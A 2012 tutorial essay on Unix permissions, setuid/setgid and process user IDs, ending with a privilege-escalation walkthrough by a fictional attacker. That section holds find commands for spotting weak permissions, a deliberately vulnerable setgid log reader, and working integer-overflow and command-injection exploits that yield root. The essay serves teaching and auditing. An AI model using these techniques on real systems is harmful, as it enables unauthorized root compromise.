Linux/Unix privileges from a blackhats perspective

I always somehow struggled understanding fully Unix privileges. Therefore the following essay is for my own understanding and improvement (It really sticks in my brain, when I need to write it down), as well as for the community.

It gets increasingly complex when it comes to access control concepts like *setuid* or *setgid* and *real user id* or the *effective user id* and all its security relevant applications. I'll guide you with comprehensible and illustrative examples through this rather tedious, but highly important topic. First I offer a simple refreshment on the general idea and implemention of permissions (just for the sake of completeness), then I dive into scenarios in which potential attackers might abuse weaknesses on a compromised system.

1. Introduction

The Unix operation system consists of files (You might remember the motto: *Everything is a file)*. Because there are several good reasons to have various different users in a operation system (administrator, working staff, user who's just browsing …) it makes sense to encapsulate and protect files from each other. This was made possible by giving every file access rights: *read*, *write* and *execute.* These three rights constitute distinct meanings for the subtypes of files. The following table clarifies this:

File type	**Read - r**	**Write - w**	**Execute - x**
Normal file: Text files like source code files, html files; Generally every file in the common sense.	Whether the file is readable.	If the file is writable.	If the file can be executed.
Directory: Logical container for the normal files. They structure stuff in a hierarchy.	If the directory can be listed (only if the executable attribute is also set!)	Whether directory contents can be modified: Create, delete, rename files in the directory.	If a directory can be entered (*cd dir)*.
Symbolic Link: Symbolic links don't have permissions, the real permissions are the one kept by the file pointed to.	Dummy value, is always set.	Dummy value, is always set.	Dummy value, is always set.

Whereby the permission types for the normal files are obvious and can be left aside, the permissions for directories sometimes interfere with the logic of the file permissions:

For example, there might be situations, when a User (*bob*) who is the owner of a file, cannot delete his own file, although the file belongs completely to him (He is the files owner). This might be the case, when the file is within a directory, which is owned by another user (*karen*), who set the privileges for this directory something like this:

```
drwxr-xr-x 2 karen karen 4096 Dez  4 23:07 dir/
```

All other users (even the one in *karens* group) can just *read* and *execute* the directory: They can list the contents of the directory and enter it, but cannot delete files inside, even though they might be owned by them! This is admittedly a somehow special case, because the must have been a time, where the folder was writable for *bob*, otherwise the file could never have been created. Nevertheless, exactly such on the first glance unimaginable occurrences lead in the end to a compromised system...

1.1 Owner, Groups and Others

Abstractly spoken, there must be for every file three distinct permission sets, according to the way the file is accessed. What I mean with that is the following:

Files can be accessed from the owner of the file (the one who created it), members of the group the file belongs to and everybody else (Anybody minus the owner and the group members). Therefore, a file is always owned by one user and one group. That's the reason why Unix file permissions are nine bits of information: Three distinct access rights * three ways to access the file = 9 different possibilities.

File permissions can be noted on many different ways, but the most common one looks similar to this (*ls -l* produces such listings):

```
-rw-r—r-x
```

This notation contains 10 characters: The first character indicates the file type. “-” is means a regular file, “d” represents a directory and “l” stands for a symbolic link (There are other file types: *s* for socket files, *p* standing for named pipes, and device files; *c* pointing to character devices and *b* for block devices).

The next three characters make up the permission for the owner of the file. They are in the following order: Read, write, execute. The next two three character sets stand for the members of the group and everybody else (In this order).

Additionally, the privileges can also be represented as a three octal numbers. The following examples may clarify last concerns:

Textual representation	**Octal number representation (without file type)**	**Meaning**
drwxr-xr-x	755	The owner of the directory has all permissions set, whereby the group members and everybody else can list and access the directory.
-r-xrw---x	561	The files owner can read and execute his file. The members of the group can read and write the file, whereas anybody else can just execute it.
lrwxrwxrwx	777	The permissions are always set for links, they're dummy values.

This was a really short refresher, and if you still don't feel comfortable with basic Unix file

permissions, feel free to work through [2].

2. Setuid, setgid, the sticky bit and the effective and real user/group id

We now have a solid understanding of the basic permissions. But there are still some administrative tasks, which cannot be accomplished with the basic privileges. How would you solve for example the following tasks?

- Grant a normal user increased access for a particular command, like mounting a USB device? Since mounting is a process interacting deeply with the system (accessing */etc/fstab*), you need a way to give a normal user access for this task under controlled circumstances.
- Change the user's password. As you might know, you cannot write */etc/passwd*. How can you change then your password? Acutally *passwd* is a *setuid root* binary too!

Normally, if we execute a file, the process has the same user id as the user who executed the file. If a user *bob* creates, compiles and executes the following program named *id*:

```
/*
 * Compile: gcc -o id id.c
 * Run: ./id
 */
#include <unistd.h>
#include <sys/types.h>

int main(int argc, char **argv) {

      printf("real user id of this process (RUID): %d\n", getuid());
      printf("effective user id of this process (EUID): %d\n", geteuid());

      printf("real group id of this process (RGID): %d\n", getgid());
      printf("effective group id of this process (EGID): %d\n", getegid());

      return 0;
}
```

Bob will most likely see his user id, like it's written in the password file:

```
cat /etc/passwd | grep -n1 -i "bob"

36:bob:x:1003:1003:Bob Tester,,,:/home/bill:/bin/bash
```

But now, with the concept of the *setuid* and *setgid*, we can change this logic.

When bob modifies the binaries permissions with the following command:

```
chmod 4755 id
ls -l id
-rwsr-xr-x 1 bob bob 8917 Dez 12 22:12 id
```

he sets the *setuid* bit and every user who executes the binary, will acquire the user id of the file's owner. When karen executes the file, the output looks like this:

```
karen@machine:/home/bob$ ./id
real user id of this process (RUID): 1002
effective user id of this process (EUID): 1003
real group id of this process (RGID): 1002
effective group id of this process (EGID): 1002
```

Well, the effetive user id switched to the user id of *bob*!

Actually, the same logic can be applied to the *setgid* bit (octal 2000). When the above *id* programs *setgid* bit is set, the effective group id of the calling process, changes to the group id, the file belongs to. Continuing with the same sample users *bob* and *karen*, the output would look like the following:

```
bob@machine:~$ ls -l id
-rwsr-xr-x 1 bob bob 8917 Dez 12 22:12 id
chmod 2711 id
sudo login karen; cd /home/bob
karen@machine:/home/bob$ ./id
real user id of this process (RUID): 1002
effective user id of this process (EUID): 1002
real group id of this process (RGID): 1002
effective group id of this process (EGID): 1003
```

Well, we know now some scenarios where the *setuid* and *setgid* comes handy and how it works. But maybe we need some overview. Here you have one!

Meaning:	**setuid**	**setgid**
regular file	Any user who can execute such a file, gains the rights of the owner of the file: The process' effective user id (EUID) is changed to that of the owner of the file.	The process' effective GID (EGID) is changed to the group owner of the file, acquiring the groups access rights.
directory	The *setuid* permission set on a directory is ignored on UNIX and Linux systems. FreeBSD can be configured to interpret it analogously to *setgid*. [5]	When the *setgid* bit is set on a directory, all files and sub-directories created within the directory inherit its group ownership, instead of the primary group of the files creator. The *setgid* bit is automatically set on all created sub-directories.

Now, before focusing on the good stuff (how to actually reveal weaknesses), we need to shed light on before mentioned different user ids, and clarify the concept.

As you might have suggested, it makes sense that processes distinguish between the effective user id (EUID) and the user id of the caller (namely the real user id, RUID), when a binary is executed with the *setuid* bit set (On non *setuid* files, the effective user id and the saved user id are the same).

Whenever a process interacts with files and accesses them, they inherit the effective user id. But often (because *setuid* bit tend to be owned by root – due to usage of this concept) processes want to perform actions in the name of the context of the caller, not in the context of the owner. That's the reason why the real user id (RUID) exists. When the process intents to do some unprivileged work, it switches its EUID to the RUID. Fine. That's maybe hard to grasp, but it makes sense. Wait there's something more :D

What happens when the process changed it EUID to the RUID? Is then the privilege gained from the *setuid* mechanism lost? No, its actually saved in a third user id, the saved user id (SUID). So if the process did its unprivileged work (still assuming the *setuid* was owned by root) it can regain it's superuser privilege accessing the SUID. Well, here would come and example neat, but before, we'll continue summing up our new gained knowledge in a little table, which explains the different UIDs we introduced.

UID type	**Meaning in a running process**
Effective user id (EUID)	The EUID determines which files and objects a process can *effectively* access, which additional rights he acquired through the *seuid* bit set (I am not quite sure, if there are other reasons which cause the EUID to differ from the RUID). To obtain the EUID, you must invoke *geteuid()* in a C program.
Real user id (RUID)	The RUID is the user id of the executer of the program. When a user executes a *setuid* binary, the RUID differs from the EUID. One can obtain the RUID with *getuid()*.
Saved user id (SUID)	The SUID is only of importance, when a process switches its EUID: It serves as a register to *save* the EUID. You can get the SUID, along with all others, with the *getresuid()* routine.
Effective group id (EGID)	All the GID mean logically the same as the UID: The files and objects a process can access are determined by their EGID. To acquire the EGID, call *getegid()*.
Real group id (RGID)	The RGID is the group id of the process executer. The corresponding system call is *getgid()*.
Saved group id (SGID)	Same logic applies here as with the SUID. Process call is *getresgid()*.

Well now, the promised program. It illustrates the usage of the permissions.

```
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

/*
 * Compile: gcc -o perms perms.c
 * Run: ./id
 */

static int i = 0;

void create_file() {
      char buf[6];
      sprintf(buf, "foo_%d", i++);
      if (open(buf, O_CREAT, S_IRWXU | S_IRGRP | S_IWGRP) == -1)
            perror("Couldnt create file");
};

int main(int argc, char **argv) {

   /* Our variables to store all the ids */
   uid_t ruid, euid, suid;
   gid_t rgid, egid, sgid;

   /* Get the ids */
   if (getresuid(&ruid, &euid, &suid) != 0) {
      perror("getresuid() failed");
      exit(EXIT_FAILURE);
   }

   if (getresgid(&rgid, &egid, &sgid) != 0) {
       perror("getresgid() failed");
       exit(EXIT_FAILURE);
   }

   /* First, print the process credentials */
    printf
    (
```

```
            "The process credentials are: \n"
            "\t RUID=%d \n\t EUID=%d \n\t SUID=%d\n"
            "\t RGID=%d \n\t EGID=%d \n\t SGID=%d\n\n"
            "\t the setuid bit is %s\n\t the setgid bit is %s\n",
            ruid, euid, suid, rgid, egid, sgid,
            ruid == euid ? "not set" : "set",
            rgid == egid ? "not set" : "set"
    );

      /* open a file in privilege mode (when setuid/setgid root) */
      create_file();

      /* switch the EUID to RUID and EGID to RGID and open again a file */
      if (seteuid(ruid) == -1) {
            perror("seteuid(ruid) failed");
            exit(EXIT_FAILURE);
      }
      if (setegid(rgid) == -1) {
            perror("setegid(ruid) failed");
            exit(EXIT_FAILURE);
      }
      create_file();

   exit(EXIT_SUCCESS);
}
```

Compile the source code and then execute the two shell programs on the binary, finally run *perms* as the unprivileged user (non root):

```
gcc -o perms perms.c
sudo chown root:root perms; sudo chmod 4755 perms
```

Output and *ls -l:*

```
The process credentials are:
       RUID=1000
       EUID=0
       SUID=0
       RGID=1000
       EGID=1000
       SGID=1000

       the setuid bit is set
```

```
       the setgid bit is not set



ls -l

-rwxrw---- 1 root    nikolai     0 Dez  8 20:46 foo_0
-rwxrw---- 1 nikolai nikolai     0 Dez  8 20:46 foo_1
-rwsr-xr-x 1 root    root     9198 Dez  8 20:39 perms
-rw-rw-r-- 1 nikolai nikolai  1367 Dez  8 20:40 perms.c
```

As we can see in the above output, the program created two files. f*oo_0* and *foo_1*. The owner of f*oo_0* is root, the group owner the normal (named Nikolai, it's just me!) unprivileged user. Why doesn't the group of *foo_0* belong to root? Becaues the *setgid* wasn't set. Instead, when we would have turned the *setgid* bit on, owner and group would be nikolai:root. Well, play a bit with the before listed source code and become comfortable with the extended permissions.

I guess we quite understand now how the extended Unix permissions work and we can focus on the actual exploiting oriented part of this tutorial. Note that *setuid/setgid* binary programs (shell scripts aren't affected by the *setuid/setgid* bit!) give us generally the ability to do stuff in the user context of the owner of the file, instead of the caller!

3. Exploiting Unix file permissions (Hands-on)

I know you are looking for a magical tool, doing all the hard work for you. Or for some rules and patterns which are always true. They don't exist. Exploiting insecure permissions isn't always rewarded, actually, it's for example rather rare that you'll find potential insecure *setuid/setgid* binaries on a compromised system. Nevertheless you should try it all, since you never know and there are just so many possibilities do administrate insecurely or unconsciously create gaping holes in your server.

Howsoever, first we'll focus on finding gaps in concentrating on traditional file permissions issues. Hereinafter, I'll show a potential scenario, where *Peter,* a blackhat hacker, striving badly for success in his questionable activities, tries to escalate his privileges, after he was able to spawn a shell over a SQL Injection vulnerability in a unknown content management system.

Of course, he first tries to find out which user and group he belongs to, with firing up the *id* command.

```
id
uid=10025(www-data) gid=10025(www-data)
groups=505(psacln),873(movies),9322(coding)
```

Then he confirms his output with looking at the */etc/passwd*, respectively */etc/group* file.

```
cat /etc/group  | grep -i $(id –group)

cat /etc/passwd  | grep -i $(id --user)
```

Now we now that we (user *www-data*, commonly used as a *docroot* user with reduced privileges) is a member of three groups. But what now? Where should we start our endeavor?

Seems like it's time for a table once more. Please keep in mind that we won't cover Unix privilege escalation in it's whole range, just because I know far to little and it would burst the scope of this write up. Just imagine that this is actually good, that we can't define and determine a general concept of weaknesses in file permissions, because if we were able to, they actually would be easy to neutralize and detect. Generally, the more different users identities we can adopt, our chances to escalate our privileges increase disproportional. Furthermore, improper set user permissions cannot be exploited directly, they often constitute a fractional attack vector and we need to chain several weaknesses in a row. Example: Imagine we can edit the *bashrc* of a low privilged ftp user, but we know that the sysadmin sometimes uses the account to do le admin duties. We could feign a normal sudo command while we actually log the root password! Be creative. The preceding table focuses on weaknesses through improper file permission usage and shows ways to detect them.

Threat/possible attack vector	**Explanation**	**Discover occurrences with *find* command**
World writable directories	Find word writable folders outside your home directory. It would be a tremendous success if we could write, say to */etc*. So we could add configuration files and therefore pretty sure execute code as root, since many daemons read a specific number of primary and secondary configuration files, whereas the secondary ones are often not created yet. If the superusers home (/root) would be writable, we could create shell startup files that doesn't exist yet: *.profile*, *.bash_profile*, *.bashrc*...	`find / \( -wholename '/home/homedir/*' -prune \) -o \ ( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null`
World writable files	What if */etc/passwd* would be writable? Yeah, we just could add another root user and we would have won! Whereas the foregoing scenario is just too good to be true, it really makes sense to search for world writable files outside your own territory (= your home directory).	`find / \( -wholename '/home/homedir/*' -prune -o -wholename '/proc/*' -prune \) -o \( -type f -perm -0002 \) -exec ls -l '{}' ';' 2>/dev/null`
Logfiles	Sometimes a security unaware administrator *chmods* a sensitive log file, because he couldn't view it and therefore leaks potentially sensitive data such as passwords or other important information.	`find /var/log -type f -perm -0004 2>/dev/null`
Setuid/setgid files	We already examined fully why *setuid* and *setgid* files are worth to be double checked. Such a file owned by *root* and susceptible for attacks is a big weakness.	`find / \( -type f -or -type d \) -perm -6000 2>/dev/null`

The above table listing is far from complete. There is an endless playground in sniffing for vulnerabilities. Make sure you are asking yourself which could lead to privilege escalation. You don't only have to focuse on *root* owned stuff, sometimes you *escalate* your privileges if you first

compromise a seemingly less privileged user.

3.1 Exploiting setuid/setgid binaries

Let's assume we found a setgid binary named *http_log_reader* in a uncommon folder, owned by a uninteresting user, but set as group *root*.

```
-rwxr-sr-x 1 dummy    root     9198 Dez  11 10:11 http_log_reader
```

This looks fairly suspicious for us and because we want to know more about this program we just google its name. Lucky us finds a repository and the complete code listing on GitHub, thus we can examine and audit the application. We have a good look at the source, searching for bugs giving us the possibility to gain superuser/escalated privileges.

```
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>

#define BUF_SIZE 100
#define LOG_FILE "/var/log/apache2/access.log"

void native_read(char *buf, unsigned int numBytes);
void shell_read(char *command);

int
main(int argc, char **argv) {

      int mode;

      if (argc != 3) {
            fprintf(stderr, "Usage: %s mode [BYTES_TO_READ | NUM_LINES]\n",
argv[0]);
            return(EXIT_FAILURE);
      }

      mode = atoi(argv[1]);

      switch (mode) {
            case 1: { // mode == 1 : Copy x (given over argv[2]) bytes into the
buffer.

                  char buf[BUF_SIZE];
                  unsigned short lengthCheck;
                  unsigned int numBytes;

                  numBytes = atoi(argv[2]);
                  lengthCheck = numBytes;

                  if (lengthCheck > BUF_SIZE) {
                        fprintf
                        (
                              stderr,
                              "Buffer overflow prevention: Cannot "
                              "copy more than 0x%x bytes into buffer\n",
                              BUF_SIZE
                        );
```

```
                        return(EXIT_FAILURE);
                }

                native_read(buf, numBytes);

                break;
            }

            case 2: { // mode == 2 : Read log file with shell utils. Specify
param over argv[2]

                shell_read(argv[2]);

                break;
            }

            default:
                break;
      }

      return(EXIT_SUCCESS);
}

void
native_read(char *buf, unsigned int numBytes) {
      #define LOCAL_BUF_SIZE 0x666
      char sbuf[LOCAL_BUF_SIZE]; // Just a stack allocated buffer to fill with
file contents
      int fd;

      if ((fd = open(LOG_FILE, O_RDONLY)) == -1) {
            perror("open()");
            exit(EXIT_FAILURE);
      }

      if (lseek(fd, -LOCAL_BUF_SIZE, SEEK_END) == -1) {
            perror("lseek()");
            exit(EXIT_FAILURE);
      }

      if (read(fd, sbuf, LOCAL_BUF_SIZE-1) == -1) {
            perror("read()");
            exit(EXIT_FAILURE);
      }

      // Check if numBytes is bigger than the
      // local buffer and if applicable, adjust it
      numBytes > LOCAL_BUF_SIZE ? numBytes = LOCAL_BUF_SIZE : /*nothing*/0;

      // buf is 100 bytes large. Standard stack smashing from here on...
      printf("[!] Going to copy 0x%x bytes into a 0x%x byte buffer\n",
                        numBytes, 100);
      strncpy(buf, sbuf, numBytes);
      return;
}

void
shell_read(char *command) {
      char cbuf[0x100];
```

```
      sprintf(cbuf, "tail -n%s %s"
                        , command, LOG_FILE);
      printf("[!] Executing following command: '%s'\n", cbuf);

      system(cbuf);
}
```

Of course, the foregoing source code and its function is highly hypothetical, even pointless, but it acts as a good demonstration and suffices our purposes. Basically, the program offers two functions: The one, `native_read()`which opens and reads the Apache log file on the native way, via system calls, and its counterpart `shell_read()` that uses the calling shell context and the *tail* program to implement the same action. They are both prone to different vulnerabilities.

The `native_read()` function is vulnerable to a integer overflow, which on the other hand causes a buffer overflow. We can pass two parameters to the program, one which determines the mode (With supplying *1*, we will execute the native function, with 2 the shell function) and the other which indicate the number bytes to read (if mode 1) or the number of lines to read with the *tail* built in. We see, that the integer overflow occurs, because our passed parameter is stored in and unsigned integer (just even numbers: From 0 to 2^32-1), but we actually check a unsigned short (even integer: From 0 to 2^16-1) whether we passed a parameter higher than the maximal buffer size (which is 100 bytes). With the following passed variable, we overflow the short variable (thus becoming 0 and passing the check), but the effective value passed to the memory copy operation is stored in the int variable, which in turn is able to save the high value.

```
./vuln 1 $(python -c 'print 2**16')
```

65536 bytes will be copied in a 100 byte buffer. Since we can control the data written to the Apache log file to a certain level (by accessing URL's and injecting tainted data), we have a fair chance to redirect the programs execution flow and can apply standard stack smashing techniques (This sentence is bullshit, there are numerous hindrances which make it for the beginner nearly impossible to exploit buffer overflow flaws, to name a few: Compiler built in defenses like stack cookies, address layout randomization, data execution prevention, ProPolice and many others [17] [18]). However, when we would be able to redirect and manipulate the execution flow, we would have super user privileges and the system could be considered as fully compromised.

Attacking the second function `shell_read()` is a great deal easier. The function is vulnerable to command injection, giving us the possibility to execute every command as root user! Because examples are so beautiful, here we go:

```
echo -e "int main(int argc, char **argv) { setuid(0); system(argv[1]); };" | gcc
-o /tmp/own -xc -
```

The foregoing command compiled a binary which sets its EUID to root and executes every command given via the command line. Then, we inject a command into the `shell_read()` function and call the before compiled program with an arbitrary root command! Note that we have to end the crippled original command string with a '#' sign, to maintain valid syntax.

```
./vuln 2 "100 /etc/passwd 1>/dev/null; /tmp/own id #"

[!] Executing following command: 'tail -n100 /etc/passwd 1>/dev/null; /tmp/own
id # /var/log/apache2/access.log'

uid=0(root) ...
```

4. Last words

The reader might find many logic and silly errors in this essay. I happily blame my weak work ethic

general lack of discipline. Nevertheless, I burned around 15 hours on this write up and I intend to update and increase it's contents. In the future, I will add more examples and techniques focusing on privilege escalation. Please note that I am not a native English speaker and many formulations may sound weird ;) Made between *30.11.2012 – 30.12.2012*.

- Version 1.0, Released on *31.12.2012*

Literature

[1] http://www.zzee.com/solutions/unix-permissions.shtml

[2] http://help.unc.edu/help/how-to-use-unix-and-linux-file-permissions/

[3] http://books.google.ch/books?id=uRW8V9QOL7YC&lpg=PT67&dq=set+user+ID+upon+execution&pg=PT375&redir_esc=y#v=onepage&q=setuid&f=false

[4] http://www.kernel.org/doc/man-pages/online/pages/man2/getgid.2.html

[6] http://en.wikipedia.org/wiki/User_identifier

[7] http://www.lindevdoc.org/wiki/Process_credentials

[8] http://content.hccfl.edu/pollock/unix/findcmd.htm

[9] http://g0tmi1k.blogspot.ch/2011/08/basic-linux-privilege-escalation.html

[10] http://www.dankalia.com/tutor/01005/0100501004.htm

[11] http://www.cyberciti.biz/faq/linux-unix-osx-bsd-find-command-exclude-directories/

[12] http://en.wikipedia.org/wiki/Integer_overflow

[13] http://en.wikipedia.org/wiki/Buffer_overflow

[14] https://www.owasp.org/index.php/Integer_overflow

[15] http://www.phrack.org/issues.html?issue=60&id=10

[16] https://buildsecurityin.us-cert.gov/bsi-rules/home/g1/844-BSI.html

[17] http://en.wikipedia.org/wiki/Buffer_overflow_protection

[18] https://www.corelan.be/index.php/2009/09/21/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr/